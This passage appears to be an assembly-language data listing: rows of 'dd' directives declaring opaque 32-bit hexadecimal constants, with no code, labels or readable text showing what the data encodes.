0D7532563h dd 0D0BCC94Eh, 5767A884h, 398609BFh, 0C7005D9Eh, 202A73C0h dd 0EEC73124h, 4A42F702h, 0FD5C40B4h, 932CBC5Fh, 89F2D129h dd 158162F0h, 408F9E96h, 8995E6AAh, 51425EC8h, 355B01D0h dd 9CF41056h, 8AB90016h, 0C14D3358h, 0D8B013B8h, 0B54A2C00h dd 0F7F1876Eh, 5108C1D6h, 0FD5E5956h, 80FC5049h, 4AF077E5h dd 9EB10BDh, 76FD027Fh, 45D5F758h, 54635E41h, 923482E3h dd 0B8FB4D46h, 0BD5C2B39h, 80B22D3Eh, 2C5A66A6h, 0F669FA49h dd 260CB58Dh, 0F216C22Eh dd 0C11D5939h, 8BB534Ah, 0B317DA92h, 42858A1h, 1FE4C526h dd 41C213D6h, 6F5FBD69h, 0B1C02E04h, 4A656DD1h, 0DA040B28h dd 20FA81C3h, 0CD2A04DDh, 316863F0h, 74A5547Ah, 835A0333h dd 50D4C2C3h, 9D14B76Ah, 4200815Fh, 0F5B252ACh, 347C7B2Ch dd 0EF2005FAh, 62534E5Eh, 0F95C7F82h, 16CD611Ah, 1C0DA4Ch dd 0B70E1A71h, 4CF1316Ch, 266808CEh, 62406413h, 967514F7h dd 60E6824Bh, 0F413427Ch, 40CAB00Ch, 0C904819Bh, 677C6D79h dd 0E17A6A82h, 72826F64h, 117036F9h, 3E4859E0h, 605BD42Fh dd 0B7FA1A09h, 4268D3A0h, 0BB504B3h, 0E94BC2C8h, 222E2D29h dd 0BB41E84Ah, 50B828A9h, 36553BC7h, 0C7613BA7h, 5C0191D7h dd 9AD0A533h, 2BB085BCh, 0F029F442h, 7DA9C25Eh, 3F61CC80h dd 0BD035675h, 7BCB9F37h, 7F5892E9h, 0B4C1EC10h, 195A520Bh dd 5375C05Fh, 95757A1Fh, 9501F096h, 311278F8h, 9F215FF9h dd 0FE264038h, 74E30BE3h, 28930180h, 0C9F25BD9h, 0E93C9C7Ch dd 59C8812Fh, 0A1049F2Ch, 0D88887CAh, 0F33ECDDEh, 0DC2F8661h dd 7E02B429h, 289CC380h, 0AC14C3E3h, 0F37AAAA8h, 17191092h dd 0BFBEC52Dh, 46F86129h, 4AF29CA8h, 5EB910DBh, 0D591F557h dd 5100F62Ah, 0FE3EC5B5h, 16B003CDh, 0F202E0C0h, 0D667E0D0h dd 0A4C10C80h, 59316EE9h, 2670F7F2h, 1631F87Bh, 0AB0F5F92h dd 50EA5F3Bh, 2AB90390h, 0D1612B14h, 3929C917h, 0D185885h dd 0E8B74319h, 324FF768h, 76DF8F7h, 95D7C70h, 0F1D52959h dd 215C50DFh, 7234E590h, 2CAE1C40h, 194B82B2h, 17B88E8Ch dd 0E0A69D7h, 4A56CCE5h, 1242DF76h, 0BFF94074h, 331246BAh dd 75CA6ABFh, 8F35FD10h, 83F6C026h, 0C6A91A12h, 8309FDC9h dd 0FD54D8C2h, 595DE978h, 538BA312h, 0A3B48B6Fh, 0BCA7A1C1h dd 4B5A0405h, 2E74AED4h, 3403DFEh, 0B704CD72h, 0DBF68DB3h dd 41124082h, 101AE27h, 0CB3232F0h, 0CFD82233h, 41A99A08h dd 0DEECD57Fh, 22A79AE3h, 59620D4Bh, 8BC8309Dh, 5A465474h dd 0F81D18F7h, 17DDD3C3h, 0C406A297h, 828CFBE8h, 47E59D5Ah dd 72F1F689h, 68561390h, 4C7FA329h, 0B9BC7F60h, 0DD69ED81h dd 853FF932h, 0ED2064ECh, 6A32631Ah, 0F6E311F5h, 0C4E41A17h dd 0E5150FAFh, 0DA9810B2h, 0A63004B0h, 0A8C28328h, 0B4032A93h dd 95EC469Dh, 3AF7CCE2h, 7BAECA3Eh, 0D8FAE9D0h, 0D1C20901h dd 1ADC68E2h, 0FFCC827Ch, 6F482903h, 0A2D0C504h, 0F262D9D7h dd 0FBFEA59Dh, 0EDFEF20Ch, 0F71A44FAh, 14D7ECAAh, 49DA611Ah dd 3F5C3368h, 8EE27631h, 1BF75702h, 45B9E159h, 72CACF87h dd 0C1CE618h, 0AA040A08h, 333C0F1Fh, 50E91A41h, 2162D34h dd 6FE5105Ah, 5C16021h, 0B0571DC7h, 0B4094113h, 0EA01E4F1h dd 0D8F0CD42h, 1A9ABE1Eh, 44083C53h, 0E828129Bh, 255E5822h dd 5ACECEF9h, 8349D1D2h, 58C7A8Eh, 0C51D0797h, 191BB5Bh dd 655310C6h, 0A5F928C9h, 2934B5F2h, 93B21Ch, 9173C381h dd 24018C55h, 25425BDDh, 61502E79h, 0E522B436h, 9EA0AC5Ch dd 0AA99AFF4h, 0B1D3173Fh, 61C56B5Dh, 128AFE8h, 72BD0537h dd 0C0216635h, 0E253BEF5h, 17C4E34Ah, 7B68B801h, 0C67A44C8h dd 0BC1FBC32h, 0E985F455h, 691DD660h, 637A1181h, 0AFF4D931h dd 85FDD319h, 0B524805Fh, 1D7F6759h, 0E1EB9424h, 21685060h dd 490BB115h, 75A7DB3h, 56C552A2h, 216706BEh, 3E9025F0h dd 80E34E69h, 693E123Ah, 0ED83305Dh, 6B30E5B0h, 2FA22658h dd 342EE0E0h, 0C3282831h, 0CA6499Ah, 1259B64Fh, 70656D68h dd 556CE000h, 6813272h, 0B91204F3h, 0DE130C0Ah, 0CE84A5Dh dd 0EB021B4Ch, 10DD0C6Eh, 0D1820163h, 0A2CB746h, 5A47D7C7h dd 0CC301FF2h, 2068F80Eh, 0EEFF7DF8h, 0C689BBA3h, 91DE2C25h dd 0DBE481D8h, 3C601635h, 0DA51B229h, 0F3B85DCCh, 48998D0Fh dd 5F935AEBh, 0CDDA127Ah, 2F4521D7h, 970CCA96h, 2FF9D6C4h dd 1EEEF1D5h, 45DB93A5h, 0FC4F0B10h, 5E4BDA9Dh, 90201BFh dd 41290833h, 44D301C2h, 0A10B10EEh, 795A1C0Dh, 7CD4D862h dd 1287F09h, 84008F3h, 14130C34h, 458D6253h, 0ED102621h dd 0B577CC80h, 30C1AE81h, 0CC8205DCh, 4DC28558h, 9340B355h dd 70E17CECh, 2C2A838Ch, 83E604DCh, 0DE4EB7D0h, 24B6520Ch dd 3BC0413Ch, 0B3007BDAh, 1ECB8067h, 0C54D26E9h, 106F58D7h dd 681C0747h, 693A546h, 241D32C1h, 0C4406D0Ah, 79E6B05Ch dd 0F7B720A8h, 31DBB07h, 0DB857BCFh, 27278F0Eh, 0D3863765h dd 25E91B14h, 31B13FBCh, 9C6F8945h, 202EC65Fh, 54768BFCh dd 3BEFB02Eh, 58745251h, 200948CEh, 0C9019C4Fh, 29E44B2h dd 0CA17F253h, 0ECA36489h, 7A82B732h, 0A277B586h, 74B6574Dh dd 2ACCBFF3h, 0E012EC07h, 4D03D91Fh, 5612454Dh, 8507D1F7h dd 8747B3FEh, 30FB9A55h, 0F3CB803h, 0BF330E00h, 7D3666D7h dd 8AC74A31h, 7C97481Ah, 0C53E300Ch, 121F6402h, 0E17E717Bh dd 7D006FE0h, 0A48943EFh, 0B4E914F5h, 0B5A78DC0h, 6B9E545Eh dd 4F74466Bh, 8012A5BEh, 0CF685B19h, 72F6962Ch, 7925B272h dd 0F6614EA7h, 0FEADAACEh, 8114936Ch, 3E5758E6h, 535F0D9Ah dd 0ACC70CD7h, 0F690FE9Fh, 344FD664h, 569422BFh, 189D5CD0h dd 2BE0578h, 68356C46h, 7BEC7CDEh, 965D9101h, 22E95544h dd 0BDBB073Ah, 0BE80F93Ch, 0FBFF581h, 41B536F0h, 68CEC18Bh dd 26074394h, 1B9D0CA0h, 80C41804h, 42D7E956h, 942F8C9Bh dd 0B754622Eh, 0FD4ABE9h, 0C08C18Fh, 0BB552B98h, 8CBC8A45h dd 0DD6850D8h, 15F3415Fh, 51B0234h, 0ECB67997h, 81CBDF42h dd 840B1A07h, 11A04090h, 9D220505h, 9101F0B3h, 6F324A2Dh dd 0BA5ED28Ch, 4FEC9754h, 0C3B1ECD2h, 0EA2BD93Eh, 98A3622h dd 8C5BB785h, 723C60CEh, 0B0A55B4Dh, 0A5800804h, 0CF540ADh dd 3A4BE945h, 0C16E095Ch, 0D3E08D94h, 1D5BC52Ch, 0A9DEB7F4h dd 801FC42h, 5489F8E9h, 0B8318099h, 294E53EFh, 4DA5A104h dd 0B5251313h, 0BE9DECC2h, 0E82AFD0h, 0DFCB814Bh, 0DC54F98Bh dd 0C3BD60CAh, 0B039C0Fh, 4D02EDC1h, 5EA4A481h, 53D500F7h dd 46B1BF57h, 0CE906D65h, 0D733C09h, 0D0C30041h, 0C05BE22Fh dd 5ACFF69Ah, 0FB168940h, 3EC1315Fh, 2C3EEAF8h, 29045C50h dd 1E8568D8h, 0B94A11F3h, 0CFE9091Eh, 82D8FEB9h, 0DD4FFDEFh dd 0ABE24A60h, 6F207E82h, 0E770F469h, 354362A9h, 0B4013C7Ah dd 25CDB8CCh, 664292E9h, 447ACFFEh, 0CC554E90h, 430068A1h dd 5A7BA771h, 0BD18E942h, 0E830AA82h, 6D27D1F8h, 12CE59C8h dd 0B4E5812Bh, 391860FCh, 3CB675F4h, 1ED1652Fh, 0D5382789h dd 68244D9h, 954FDBAAh, 3E1E46D0h, 7BB210h, 43D24FC6h dd 0CF50142h, 235DE95Eh, 2C1ECBD3h, 0C06EC646h, 2DD1072Fh dd 396272B0h, 0EFD04C01h, 5A010842h, 0C950A72Dh, 0D40C6030h dd 212CA492h, 11EA35DDh, 8E12A600h, 48EFC140h, 0AA067F03h dd 0A47C4C5Fh, 0E8221103h, 15F72152h, 0BBA3B098h, 655FE602h dd 0A3614C41h, 7F5207C5h, 96896688h, 0EA4D2D61h, 0AF44E905h dd 189172A8h, 0EBA2E9C2h, 7195D966h, 94516471h, 6D12BF05h dd 5C0DE9CAh, 6B93F121h, 0E909B59Eh, 627C4A10h, 0F518776Dh dd 119B4BE9h, 68825613h, 866C6957h, 0A7B6B84Bh, 5F6B022Ah dd 376845A8h, 1A3CBFEAh, 59E54040h, 1CE28C8h, 251FDBBFh dd 291E3116h, 7A55B16h, 0F9D65288h, 0D6BD5509h, 0BAC640D4h dd 6A02A640h, 0F2E9EE01h dd 9C38F748h, 6F13C868h, 16A22EDDh, 0E95AA093h, 0B135B824h dd 0FFF821C1h, 9597E2A2h, 0E9E3A279h, 503B4839h, 47055848h dd 0C028B506h, 5F795771h, 0F6C6724Bh, 17CD791Eh, 501951Ah dd 0B49876EEh, 4E1E06B4h, 6AD426A7h, 0EDEE819Eh, 94208CA2h dd 1839CD6h, 0D25468BEh, 83AC2545h, 2B4C9168h, 9523527h dd 0A4D2BC26h, 18634EAh, 4065E4A2h, 20408275h, 608ABF9Ah dd 2E7FFE36h, 13B87280h, 4892A910h, 0C41414EFh, 2D050957h dd 7C6E0931h, 0CFD0BA9h, 0D39C0BFCh, 543C14F2h, 57222F09h dd 0C0013133h, 1E3E07E1h, 0B18BD7C6h, 58C6C0D7h, 3060C2B9h dd 4ABBE9F0h, 0B3A140D5h, 13CE754h, 417BCB58h, 25303A08h dd 0A974F068h, 123ABFD1h, 0EC30BB7Eh, 0A166BC5h, 0FD0175B8h dd 4E0820CDh, 0D9AE125Fh, 18F733B4h, 0AC593742h, 7ED183A6h dd 7871232Ch, 10778E25h, 0BB65238h, 3DB753D8h, 8DBEC9F8h dd 6A965E0Ah, 0D0ABAD25h, 5F2FBA2Dh, 0E354D9C4h, 35B053BEh dd 299C2F03h, 0F1C389D6h, 0A32A41A6h, 2B42057Ah, 0EE814C33h dd 0C92A0322h, 4A4E2086h, 571BB99Dh, 9AA071F0h, 0F0C07C38h dd 801FC360h, 60520F1h, 59CA284Bh, 0CC8AB316h, 623C0545h dd 4C06E982h, 20D28E49h, 0FC176FECh, 0E8C1F37Fh, 5A022EECh dd 0EAB5BFEEh, 0C194FFEDh, 0EB2DD830h, 3BF52BC6h, 0F6031D78h dd 3D870597h, 0DBD71804h, 92A6DFF7h, 52CE407Ah, 0DA5B85ECh dd 93B46F97h, 21410500h, 8E900C28h, 6A58130Bh, 6741A079h dd 0C12E574Ch, 2669B10Ch, 35F5F038h, 50951F1Ah, 34E00618h dd 1825BF48h, 4A22FD2Dh, 68D2E40Bh, 0B4416191h, 0EBFC49CFh dd 0EEE9E971h, 0C54EC963h, 703CBE2Bh, 0E6578201h, 88A8B477h dd 1058521h, 2CEB5BDEh, 214D2A1Ah, 98CD927Dh, 27FDCA7Bh dd 2D25E1F4h, 0FCC5942Ah, 20480051h, 0D6892C5Eh, 0BF0AF0E9h dd 410905C4h, 76B2D791h, 0DF19094Bh, 0E695ADC6h, 928AFE3Bh dd 0B1B804D2h, 0A073BF03h, 2CFC559Dh, 0A0027CF3h, 3957F381h dd 0CEEB5F6Dh, 0D5F9272Bh, 5F58C243h, 0E9C62CE5h, 9ABFC972h dd 5758C2E2h, 8050C0A4h, 97B0CDDFh, 15F8303Fh, 5E639C01h dd 302F3D29h, 5DEA2943h, 40763EA2h, 0D1C0BF80h, 27E9CED8h dd 0A814EC04h, 0DB70D0C4h, 1B010513h, 13A499Ah, 5FFA35D2h dd 85A9B058h, 0B7983A64h, 66A9A946h, 0FB3537Bh, 13A587FAh dd 5B54CD84h, 0FB8F5FE9h, 55C4604Fh, 28FDEF68h, 4E98C16Fh dd 3AF430BCh, 6299BF4Ah, 0D4003EC8h, 558DBE59h, 0F77F05E2h dd 121F68D6h, 9D08E015h, 920C11C0h, 7CFED8F6h, 27847DC0h dd 5C28998Ch, 45A30EA8h, 5F102C8Ch, 42653AE3h, 40CE548Ch dd 511E52D5h, 0A4BEBB5h, 4F567E8Ah, 81C8D016h, 0E38D5F2h dd 30CEF3Fh, 0E077204Ch, 16B672EAh, 4431EB2Bh, 1D0B686Fh dd 34925BFBh, 6155609h, 1CCFB252h, 0D83B5A79h, 32E9922Ch dd 4249A5C2h, 8ADA5899h, 0A03C438Bh, 602B153Fh, 9E970C32h dd 89641D62h, 12BECFB0h, 0A63FE981h, 76E3001Ah, 0B9513B36h dd 590308CFh, 0E9CA314Ah, 32F14894h, 4925EE53h, 0AEC53FA5h dd 2CACDA53h, 0ECF23F2Ah, 0BAC05447h, 0CB5B48DDh, 21A38C12h dd 2A5EF51h, 0E8C1D652h, 633A2599h, 0FB254873h, 0C680422h dd 0D2D0985Bh, 4F5FCF40h, 0D8D62D01h, 5B0988EFh, 0DC31F7CBh dd 31575924h, 0BB34CC55h, 20E87251h, 251635CFh, 5205DAF7h dd 0CA9467E9h, 0E64A39BCh, 25299779h, 9684020h, 48083E9Ch dd 0CE8A2082h, 51F80102h, 0A651A5BAh, 0AD4CE941h, 95F20024h dd 13E31940h, 240B663Fh, 6885EF52h, 0D6456496h, 38BB08BAh dd 713168BFh, 0D321271Ch, 0FBDC3AA5h, 8F859492h, 10ED9599h dd 581DEE3Ch, 13DAF95Eh, 0F3370000h, 4C1B07BCh, 12DF8933h dd 0C546F8EFh, 90E92670h, 7F888498h, 25C3B638h, 5920D659h dd 3200E3DAh, 9F8626BBh, 2D685609h, 35983F6Ah, 59BE1063h dd 21020796h, 61C00884h, 4538FDE3h, 3590ABD1h, 370A92C5h dd 0E5D4868Bh, 3EBC117h, 0A7F4B90Fh, 0F7E469E0h, 2BDB6F0h dd 2EC73505h, 8D82E5C1h, 94448D87h, 85CB9109h, 0D4650B8Eh dd 0E8E9842Ah, 0C38EF26h, 0E96317B3h, 0BEDC5245h, 4EA80864h dd 5103C83Ch, 40CDE99Ch, 9149B92Ah, 4DBDC2E6h, 31B8130Bh dd 813C1F67h, 677FF327h, 876F2EFFh, 0B130E3F4h, 11EF4F01h dd 58074629h, 275296Bh, 54AFC8FBh, 0AACC0204h, 968F188h dd 92595052h, 0C5818765h, 5E8548B1h, 0C4E9D043h, 0BA037FB8h dd 31FF606Ch, 0CDD2F28Ah, 92D3F32Dh, 50B77425h, 23CF15E9h dd 0D110F3B7h, 333C17A4h, 0BA1675F9h, 0F333607Fh, 1202A66Bh dd 0BCAB46BEh, 63D8803Bh, 0CE1EB371h, 3982090Ch, 855290Ch dd 0C340810h, 68591401h, 686727h, 0BA42B9C1h, 0A0768274h dd 5FB45BFCh, 0BF5B9C16h, 36980A17h, 28AF40E5h, 0A2A1CB4Eh dd 39809A20h, 0ED879EC5h, 2F8D04D1h, 13DFBCB2h, 0E9BDDD05h dd 511700D3h, 0E9806CB1h, 75287A59h, 0C1010F5Eh, 299A6852h dd 0D4058988h, 5ECBDA2Ch, 1ECB698Ch, 0E8015D25h, 82800ED1h dd 0D44B5671h, 5FEEAF93h, 0B5851C9Fh, 7860E36Ah, 0E200C071h dd 80D2F607h, 5AE9BEC2h, 88A30550h, 0AF9A83F3h, 0B5666926h dd 0AC57620Eh, 31F30E43h, 50193DF1h, 2C273E38h, 0A94404FBh dd 7E88BBE0h, 8FB12EEAh, 129068DEh, 6C87B19Bh, 40EFE416h dd 685355A9h, 7AC11D4Bh, 35AABD5Bh, 581FBFCh, 501156EDh dd 10768575h, 5B300873h, 0F304400Eh, 0EDD14A13h, 7C06180Fh dd 8D460EF8h, 4F5C734h, 1068867h, 8B2020A4h, 4D62514Bh dd 26A87AA3h, 0C0695EF1h, 72037505h, 0C801200Ah, 0E904072Dh dd 27EB9F4Eh, 0D01B85FEh, 58E13025h, 411224E7h, 0CD8CF04Fh dd 0F08F5847h, 55F82698h, 0ECF50134h, 3BA80813h, 0F71B4384h dd 0E72C4EA5h, 819A2Fh, 0CCFE6EB4h, 0F606ECC0h, 0C480DC00h dd 0E9E2303Fh, 131CBA27h, 0B963E168h, 9DBAA4DAh, 0BA768033h dd 8522C605h, 58B5EE9h, 90EFC1B6h, 6B7ABC0Eh, 0FB31772Eh dd 0F62E5828h, 56126C9Bh, 0D52F49A1h, 0EB390909h, 0BFDCFE62h dd 9D7E8C50h, 8E4062A7h, 1A54F60Bh, 21A25744h, 5FCB434Ch dd 0EAC390E8h, 0F700FF82h, 4015B633h, 5AD12913h, 6CA43B16h dd 4DEE40A1h, 0BA9A46ECh, 9C138831h, 63933AF7h, 7BDF0BF8h dd 4648CCEBh, 0F1CB4B92h, 84E0E913h, 4ADFA862h, 0D21079F6h dd 0BDBF029Eh, 7C4A7907h, 0BB530A77h, 17EF0BF8h, 4B8CF556h dd 2F27C881h, 0AEEB441Fh, 971E3AC8h, 482BB358h, 5CA144E0h dd 102032E7h, 813B7DEEh, 856F2904h, 9CDB87Ah, 4057F6Dh dd 71B7F559h, 2168B44Eh, 8CA24A1h, 0CB50BC3h, 66292046h dd 4C2FA676h, 38273239h, 6242C5EFh, 0CD3837Ah, 14CA92D5h dd 0E5B85014h, 0A35F85D4h, 44E90B51h, 27C9E49Bh, 0F8A58268h dd 66A647CFh, 0E91365BBh, 0E3040FD4h, 0BB296A71h, 2CD9E2ADh dd 84ECBE0Ch, 0BAD6919Dh, 4F0307Ah, 29B81A92h, 84A7395Eh dd 0D8099125h, 450A4480h, 5E3E41F5h, 2BD6AF46h, 696B51BFh dd 0B3658812h, 2F126893h, 0FEAC8734h, 0AC12EBD2h, 648E79FDh dd 0AA1F123Dh, 1B49D714h, 0C097F2E9h, 0BE3F680h, 45AF088h dd 0E9C1A200h, 0A0BD155Fh, 0B10E41D5h, 0DE0120B0h, 0C662CD96h dd 5BAE5C58h, 0BBE9BF09h, 42E6FCE7h, 0B6862605h, 0EF4010F7h dd 7D0859E9h, 5EF02100h, 0BF531935h, 0B80D7100h, 2D1EC23Fh dd 0D67F3BB9h, 2FD7E1CBh dd 0A405368Dh, 0EC130A4h, 2D4C5FFBh, 9F02E1A7h, 570E40E1h dd 80856E8Dh, 0D4D8AF24h, 0CC2D0158h, 6827E035h, 7266FEAFh dd 5CFCA58Ch, 54530B12h, 7C2B8A09h, 1BC6C9ECh, 2C0D00BFh dd 511532h, 5341C7B9h, 0C3C9811Fh, 5FCD7D03h, 38A989E9h dd 4589BDB8h, 0BC0F7360h, 2AE90338h, 0BA34224Bh, 22AD9DC4h dd 50A1C703h, 6BD930D9h, 1777BB19h, 20B7A699h, 1F68D22Fh dd 0BA807BF8h, 0C74E0745h, 0C6D5315Fh, 44B75938h, 14954DD7h dd 30358D5Bh, 2BC0D1DEh, 1A6D1BBFh, 0B445F40Ch, 0A3AD170Bh dd 32C17D1Fh, 0E63508BEh, 0D07EB12Ah, 54C5251h, 542903F5h dd 0E8460372h, 3E5CF1CEh, 0F6B92D32h, 4B061A8Bh, 8405AB20h dd 3A12EC53h, 2F80D8E9h, 7987D7F7h, 933F27F9h, 0D27C2D2Bh dd 4F985749h, 0BF800FF2h, 0BD141627h, 4D5BC2Eh, 45AD0B99h dd 0D744510Fh, 36C5AAE6h, 68B77100h, 48403C67h, 7D04B735h dd 0B8A2E960h, 0E65F87h, 20918D5Ah, 0CE91143Ah, 3873FFA0h dd 73334B2Dh, 2C5C005Ah, 0F2810C41h, 0F675CE05h, 1780311Fh dd 0DCFEE949h, 0FBFC65CEh, 507CF300h, 9051A0B0h, 9CB44E0Ch dd 0E80EC170h, 4EC8310Ah, 8C68CF0h, 3DE431E9h, 31015E8Eh dd 22CD7E0Dh, 3825623Ah, 300B527Ch, 0CFEA7CD9h, 923CF933h dd 663D20FAh, 6A5BA268h, 7AC70221h, 0FCAC9C96h, 14B3C0DDh dd 58A2B151h, 481044F6h, 0D0B05BF7h, 0FF162BDh, 99595DE8h dd 58A61149h, 0FE79442Ah, 0E834FA34h, 5AE65380h, 0C0D600Bh dd 3BC168C7h, 8A62897h, 0C2055627h, 0C57B0CA8h, 22F8688Bh dd 0CAB8E9E5h, 0E402DD7Ch, 0D100809Ch, 9C23BEAh, 0DF6A840Fh dd 400D3A7Fh, 1E7657C7h, 4BE5475h, 0D7F22DAFh, 0E955E09Eh dd 0EC9FA00Ah, 8CBD200Eh, 314B25B0h, 7C05FC03h, 89A3E7CDh dd 2CB3E1C7h, 0B34D663Dh, 2450DF2Eh, 4DF3032Bh, 8992EC84h dd 0DC6AB082h, 1CBE4904h, 0E04EFD1Dh, 0ED07616Ah, 0CF896DB7h dd 85B1C2A5h, 817CC02Eh, 7C2D7FE2h, 0B8C03B46h, 4A4AA31Bh dd 3D0EC09h, 0E37BCFEAh, 1C57C95Eh, 79CAB888h, 47E2890Bh dd 0D0E9841Fh, 3936A940h, 3524CFD8h, 0FB7655A3h, 63E97D89h dd 90DFD062h, 4EAF0FA3h, 0B2BF1EC8h, 0C0605077h, 6A981307h dd 0FD05EE99h, 32814071h, 0D73BFA8h, 96CE2778h, 0A86B9A19h dd 2E34B049h, 24F18A16h, 0A2B5882h, 176075B2h, 74284EEDh dd 0CD048476h, 13E038DBh, 369545C5h, 0EEF364BFh, 0BF57F600h dd 26CF11FBh, 3A40472Fh, 0F9938DBEh, 0E995C162h, 0A4093BD9h dd 0D760B259h, 0D6C0588h, 2FA917E9h, 0F403F5F4h, 9DB25B47h dd 7219C9E1h, 78FD10CDh, 12DF7E4Dh, 1D28EE59h, 17036968h dd 1F56E129h, 5A4C9854h, 5F6904D8h, 0DF7EEC56h, 0E4D05449h dd 3862B519h, 0FA04F75h, 0F4739AE9h, 110BF759h, 762D46E2h dd 0A0569373h, 3A130625h, 0E6013B42h, 7B240D90h, 17B8E7D8h dd 1250C67h, 0BC469530h, 0C7BA500Bh, 112760F4h, 0F72D4089h dd 0F9E90D3h, 0EF7FAF98h, 41D21E92h, 274CF0E6h, 3D47606Fh dd 74C72113h, 0B9704AFh, 0FAB90B20h, 9FCAF8A6h, 81A0D694h dd 8A207CFDh, 6439092Eh, 2B843DA4h, 0EA7A7AAh, 0E5F66855h dd 0C6B075DAh, 0E78980F7h, 0BE595078h, 9CBF2B73h, 73213000h dd 4F24E965h, 10C5E394h, 0F14B92B3h, 9AB7E06Bh, 6DA841C0h dd 0F6531F34h, 2625EF20h, 10F5E22Bh, 5A1877E7h, 0CECD7A57h dd 8B605681h, 741D1F88h, 0E59B1248h, 8B54074h, 184B750Eh dd 43123CACh, 0CBFDB81Ch, 0E998250h, 2537453Eh, 0E96124D6h dd 443B15FAh, 2E8E4D5h, 0D1565368h, 2E638019h, 32E922B3h dd 0FEA23B4Bh, 0BD887F78h, 98A2B118h, 0C00008ABh, 9843463h dd 1D71C535h, 0C4051831h, 0AA2E1506h, 0D8F7C004h, 28C502BFh dd 42771ADAh, 134CD679h, 0A90085F2h, 30EF926Fh, 2DEC6881h dd 1A35759Ah, 12BB2EF3h, 0C2AB80Bh, 0C13697Eh, 76FE396Eh dd 0CB90E98Ah, 0E070A7D6h, 0D7C7DA24h, 0BAD3EA9Fh, 72AA2485h dd 1EF42C50h, 9D02B958h, 243F4A99h, 5A0B5357h, 9A293868h dd 9B0584Dh, 2716582Eh, 1F234086h, 0EF13CD72h, 2BF0595Dh dd 0BA8540B9h, 289FAE2Eh, 7FD12909h, 973C4910h, 8684B4A6h dd 660FD884h, 0E5638F47h, 4594FFC1h, 0F607FAF8h, 9230E02Bh dd 7A8AB728h, 64CA2597h, 6D78854Ah, 97F49EBFh, 5655DEA0h dd 0CE4AAAE9h, 5031A792h, 7A8EBE8Ch, 38C4BBDAh, 0D8AF1198h dd 0C341016Eh, 123E926Bh, 2C247D74h, 0AD57DB02h, 0B0154048h dd 7A1F251Dh, 0CF8F14DCh, 866B29A3h, 122DF30h, 65F911B1h dd 3A05EDC1h, 7BE6EE80h, 80734B4Dh, 0D5F90252h, 0D51EE926h dd 0B0A3B996h, 0C72FE245h, 2DD830D2h, 0B0484D56h, 77F5111Fh dd 0AF5FF914h, 0B196023Dh, 0D3BEFCF2h, 0F78459B8h, 515B0275h dd 54AF4253h, 2D0A26BFh, 4C6F33F9h, 1C2F7F1h, 2AF5446h dd 6F5AD321h, 0A05BA049h, 60D1C3A4h, 0C7260ACh, 89522A11h dd 0F2C5E912h, 57050F32h, 0AAF61F16h, 0B3A6516h, 7109784h dd 0AE1213E3h, 71A169A8h, 19C93E93h, 40CCAB60h, 0E80388D6h dd 30CEFE59h, 0FC693F0h, 6B25208h, 7DCA69h, 2803F238h dd 5E1990D0h, 783BE226h, 2B90345Ah, 0F91FF0C1h, 0F0495DC8h dd 2CBE0BF1h, 0AB851914h, 0E9030705h, 0F8ED2406h, 0F492DE1Dh dd 0ABB9C656h, 995BB490h, 15616F8Dh, 85043AA9h, 65BA847h dd 34AF43EAh, 420E9690h, 58021B40h, 4E655F01h, 0D26B5CA7h dd 0F06208FCh, 0A14F0574h, 0A0C544CAh, 0E80C3503h, 84521061h dd 80271689h, 4AA3E846h, 0EB10A4BDh, 7BB80121h, 4860BD0Ah dd 0D05A030h, 5B74618Ah, 5EC520C6h, 0A0519E40h, 24B56CC4h dd 98792898h, 24B91BD0h, 446F0D14h, 5A0725A9h, 21F1007Fh dd 535BF4Ch, 0FA75528Ch, 7801392h, 0F8782959h, 0AE57E21Fh dd 2F66F9E5h, 249E851h, 6EB2B58h, 55586B5Bh, 5625000Eh dd 2D487667h, 2EDEA8Eh, 6A410508h, 27C1F7D8h, 4333DCCh dd 183D744Eh, 2485B582h, 8F56012Ch, 0F32B3842h, 0B4680842h dd 35E9050Dh, 3414F28Ah, 0C2A8E452h, 9E2DAD01h, 0ED387149h dd 2B162FD1h, 4A5A2D2Ch, 9208B856h, 284FB4ADh, 6E122994h dd 40FE039Eh, 68BBE367h, 4A986762h, 23FFC1Fh, 172029D4h dd 4CC1AEE9h, 0FE60DEF7h, 3F849418h, 0C34E43B8h, 21E22383h dd 5FBF3EC8h, 0F4F7F12h, 78856284h, 1A01EEA2h, 0E91C063Eh dd 4A3B3CC9h, 74A51EF2h, 0A4E5E861h, 7E7829FFh, 0CA3E342Dh dd 0CD885E08h, 0F9D832E9h, 89DFD0E7h, 7BD980BDh, 4A406890h dd 1E1BC48h, 4E4D7903h, 0F43BE6C1h, 0DD09C6EAh, 0DE757D80h dd 200D9E98h, 13303AF1h, 0FEC8BF0Fh, 0B4E45E52h, 3179B74Ah dd 39C5685Ah, 1C22CC39h, 2735DD10h, 0E1747159h, 23C53EE9h dd 6F904D0Fh, 0E9BBC92Fh, 2F60DD92h, 0F46A1BE2h, 6CF98099h dd 544A8105h, 17BB535Dh, 9D4327C4h, 871668F0h, 0C91D8D79h dd 1390BD75h, 50747E56h, 0BBD8E37h, 291CAC02h, 4805DD93h dd 0CC6158Dh, 59F9F70Bh, 0B782A8D4h, 680B5247h, 0E9F9A1A7h dd 0DD3E9A8Bh, 0D50F2009h, 98A0B680h, 0BCA4F2E5h, 0BF575046h dd 0DB763B05h, 0BB884744h, 248917C6h, 3A88E1BBh, 4EEC80B0h dd 68BD30EDh, 0E4B44C82h, 18084ECCh, 482B5140h, 0AA0F0DB8h dd 94E5C12Ah, 94A505A9h, 0F9833E52h, 0AD99BE9h, 76EE6854h dd 77986926h, 0C45EE953h, 0A0C56594h, 46138CB8h, 0E260B82Fh dd 2DD36409h, 0CF18721Dh dd 5481ECD1h, 48629B6Fh, 9232102Eh, 4B10904Ch, 0F28101DFh dd 48C14AF0h, 5BB10C82h, 0F84151EEh, 10246D1Bh, 0BA00E849h dd 3ED14A34h, 0D00D0BBBh, 0C001CB43h, 62070640h, 92117EAh dd 2BB80BF3h, 15623AF4h, 8D290BC9h, 504E575Ah, 462B4CB1h dd 99ADBC57h, 2E18C348h, 0D9001C83h, 2F3CBB5Bh, 0C58E5BC7h dd 0EB349093h, 0A727659Bh, 1E41560Bh, 0D5B07E87h, 0F3BDE908h dd 0C9479BBDh, 0D16A37EAh, 9A86C93Ch, 0DD905A1Eh, 2EAF7D31h dd 7164EA21h, 3AA7FF81h, 2B89277Dh, 0AA901DE0h, 5D405DA3h dd 0DC301155h, 0B2540C0Eh, 55D5A94h, 0B1FA87B4h, 4C57D253h dd 0E6C202F9h, 29D47611h, 8542A97Fh, 17D9282Fh, 833856E5h dd 593B6809h, 6489A7D1h, 2098C61Ah, 544CEFACh, 